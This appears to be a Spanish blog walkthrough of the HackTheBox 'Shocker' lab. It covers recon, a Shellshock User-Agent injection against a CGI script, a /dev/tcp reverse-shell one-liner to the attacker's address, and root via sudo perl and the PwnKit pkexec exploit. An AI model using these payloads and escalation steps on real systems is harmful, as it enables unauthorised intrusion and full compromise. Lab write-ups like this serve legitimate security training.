Inicio HTB - Shocker
Entrada
Cancelar

HTB - Shocker

¡Hola! Vamos a resolver de la máquina Shocker de dificultad “Fácil” de la plataforma HackTheBox.

Técnicas Vistas:

  • ShellShock Attack (User-Agent)
  • Abusing Sudoers Privilege (Perl)

Preparación Entorno


Antes de iniciar la fase de enumeración y reconocimiento procederemos a crear un directorio de trabajo con el nombre Shocker. Una vez creado accedemos al directorio y con la ayuda de la función que tenemos definida en la zshrc mkt crearemos cuatro directorios de trabajo nmap, content, exploits y scripts donde almacenaremos de una manera ordenada toda la información que vayamos recopilando de la máquina en función de su naturaleza.

1
2
3
function mkt(){
    mkdir {nmap,content,exploits,scripts}
}

Reconocimiento


Accedemos al directorio de trabajo nmap e iniciamos nuestra fase de reconocimiento realizando un ping a la IP de la máquina para comprobar que esté activa y detectamos su sistema operativo basándonos en el ttl de una traza ICMP.

1
2
3
4
5
6
7
❯ ping -c 1 10.10.10.56
PING 10.10.10.56 (10.10.10.56) 56(84) bytes of data.
64 bytes from 10.10.10.56: icmp_seq=1 ttl=127 time=42.3 ms

--- 10.10.10.56 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 42.314/42.314/42.314/0.000 ms

Identificamos que es una maquina Windows debido a su ttl (time to live) correspondiente a 127 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).

  • TTL => 64 Linux
  • TTL => 128 Windows

Continuamos con la enumeración de los 65535 puertos en la máquina.

1
2
3
4
5
nmap -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.56 -oG allPorts

PORT     STATE SERVICE      REASON
80/tcp   open  http         syn-ack ttl 63
2222/tcp open  EtherNetIP-1 syn-ack ttl 63

Luego de identificar los puertos abiertos OPEN, se procede a escanear servicios y versiones que puedan estar corriendo en los puertos abiertos detectados.

1
2
3
4
5
6
7
8
9
10
11
12
nmap -sCV -p80 10.10.10.56 -oN targeted

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn t have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Reconocimiento Web


Iniciamos el reconocimiento del servicio web con la herramienta whatweb la cual nos muestra información sobre las tecnologías web que incluyen sistemas de gestión de contenido (CMS), plataformas de blogs, paquetes de estadísticas / análisis, bibliotecas JavaScript, servidores web y dispositivos integrados.

1
2
3
whatweb 10.10.10.56

http://10.10.10.56 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.10.56]

Abrimos el navegador y accedemos a la dirección de la máquina y vemos que su contenido es simplemente una imagen. Parece que no hay mucho donde rascar aquí así que procedemos a aplicar Fuzzing.

Fuzzing


Iniciamos el reconocimiento de potenciales rutas de acceso web.

En esta ocasión usaremos la herramienta Wfuzz en formato colorizado (-c), con un total de 200 hilos (-t 200), ocultando todas las respuestas que nos devuelvan un 404 (--hc=404) y utilizando el diccionario directory-list-2.3-medium.txt de nuestro repositorio de confianza SecLists de Daniel Miessler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
wfuzz -c -t 200 --hc=404 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://10.10.10.56/FUZZ/

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.56/FUZZ/
Total requests: 220546

=====================================================================
ID           Response   Lines    Word       Chars       Payload      
=====================================================================

000000021:   403        11 L     32 W       297 Ch      "cgi-bin"
000000069:   403        11 L     32 W       295 Ch      "icons"

Observamos en los resultados el directorio /cgi-bin/. Este directorio le permite ejecutar scripts cgi basados en Perl, .cgi shell entre otros por lo que vamos a realizar un escaneo de posibles scripts con extensiones sh, pl y cgi que puedan estar almacenados en la carpeta cgi-bin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
wfuzz -c -t 200 --hc=404 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -z list,sh-pl-cgi http://10.10.10.56/cgi-bin/FUZZ.FUZ2Z

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.56/cgi-bin/FUZZ.FUZ2Z
Total requests: 661638

=====================================================================
ID           Response   Lines    Word       Chars       Payload      
=====================================================================

000000331:   200        7 L      18 W       119 Ch      "user - sh"     

Hemos localizado un script con nombre user.sh vamos a observar su contenido

Análisis Shell Shock Attack


1
2
3
4
5
6
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh"
Content-Type: text/plain

Just an uptime test script

 06:48:14 up  1:08,  0 users,  load average: 0.02, 0.01, 0.00

Tenemos un script en la carperta cgi-bin por lo que enseguida se nos viene a la mente la posibilidad de que sea vulnerable a un ataque Shell Shock. Mediante la herramienta nmap vamos a comprobar si es vulnerable a este tipo de ataque

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
nmap --script http-shellshock --script-args uri=/cgi-bin/user.sh -p80 10.10.10.56
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-30 11:52 CET
Nmap scan report for 10.10.10.56
Host is up (0.038s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-shellshock: 
|   VULNERABLE:
|   HTTP Shellshock vulnerability
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2014-6271
|       This web application might be affected by the vulnerability known
|       as Shellshock. It seems the server is executing commands injected
|       via malicious HTTP headers.
|             
|     Disclosure date: 2014-09-24
|     References:
|       http://seclists.org/oss-sec/2014/q3/685
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
|_      http://www.openwall.com/lists/oss-security/2014/09/24/10

Nmap done: 1 IP address (1 host up) scanned in 0.54 seconds

Nmap nos revela que es vulnerable!!

Explotación Shell Shock Attack


La explotación de shell shock se da en la modificación del User-Agent al momento de enviar una petición web, esta cabecera se envía de la siguiente forma User-Agent: () { :; };echo; <COMANDO A EJECUTAR>.

1
2
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; };echo; /usr/bin/whoami"
shelly

Comprobamos que tenemos ejecución remota de comandos por lo que procedemos a ponernos en escucha en el puerto 443 y mediante la ejecución del siguiente oneliner podemos obtener una reverse shell con el usuario shelly

1
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; };echo; /bin/bash -i >& /dev/tcp/10.10.14.94/443 0>&1"
1
2
3
4
5
6
7
8
9
10
sudo nc -nlvp 443
[sudo] password for yorch: 
listening on [any] 443 ...
connect to [10.10.14.94] from (UNKNOWN) [10.10.10.56] 48532
bash: no job control in this shell
shelly@Shocker:/usr/lib/cgi-bin$ whoami
whoami
shelly
shelly@Shocker:/usr/lib/cgi-bin$ 

En este punto podemos leer la flag de usuario no privilegiado

1
2
3
4
5
shelly@Shocker:/usr/lib/cgi-bin$ find / -name user.txt 2>/dev/null
/home/shelly/user.txt
shelly@Shocker:/usr/lib/cgi-bin$ cat /home/shelly/user.txt
dbd5261da9d797839***************
shelly@Shocker:/usr/lib/cgi-bin$ 

Escalada Privilegios (SUDO)


Comprobamos mediante el comando sudo -l que podemos ejecutar /usr/bin/perl como root

1
2
3
4
5
6
7
8
shelly@Shocker:/usr/lib/cgi-bin$ sudo -l
Matching Defaults entries for shelly on Shocker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl
shelly@Shocker:/usr/lib/cgi-bin$ 

Tras consultar el recurso GTFOBins podemos escalar privilegios de la siguiente forma

1
2
3
shelly@Shocker:/usr/lib/cgi-bin$ sudo perl -e 'exec "/bin/sh";'
# whoami
root

Escalada Privilegios (PWNKIT)


una forma alternativa de escalar privilegios es buscando archivos en la máquina con permisos SUID asignados

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
find / -perm -4000 2>/dev/null

/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/newgrp
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/newuidmap
/bin/ping6
/bin/su
/bin/fusermount
/bin/ntfs-3g
/bin/umount
/bin/ping
/bin/mount

Enseguida nos llama la atención /usr/bin/pkexec. Con la herramienta PwnKit del repositorio de GitHub de ly4k procedemos a descargarla en nuestro directorio de trabajo exploits

1
2
cd ../exploits
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit

Una vez descargada la herramienta creamos un servidor http para servir el recurso a la máquina víctima

1
python3 -m http.server 80

Con el servidor http en marcha procedemos a descargar la herramienta en la máquina víctima en el directorio /tmp

1
2
3
4
5
6
7
8
9
10
11
cd /tmp
shelly@Shocker:/tmp$ wget http://10.10.14.94/PwnKit
--2022-10-30 07:43:15--  http://10.10.14.94/PwnKit
Connecting to 10.10.14.94:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18040 (18K) [application/octet-stream]
Saving to: 'PwnKit'

PwnKit              100%[===================>]  17.62K  --.-KB/s    in 0.04s   

2022-10-30 07:43:15 (410 KB/s) - 'PwnKit' saved [18040/18040]

Ahora sólo nos queda dar permisos de ejecución al binario y ejecutarlo para obtener una shell con el usuario de privilegios elevados.

1
2
3
4
shelly@Shocker:/tmp$ chmod +x PwnKit 
shelly@Shocker:/tmp$ ./PwnKit 
root@Shocker:/tmp# whoami
root

Ya sólo nos queda leer la flag de root

1
2
3
4
root@Shocker:/tmp# find / -name root.txt 
/root/root.txt
root@Shocker:/tmp# cat /root/root.txt
f8940232e337fe39f***************

Hemos completado la máquina Shocker de HackTheBox!! Happy Hacking!!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.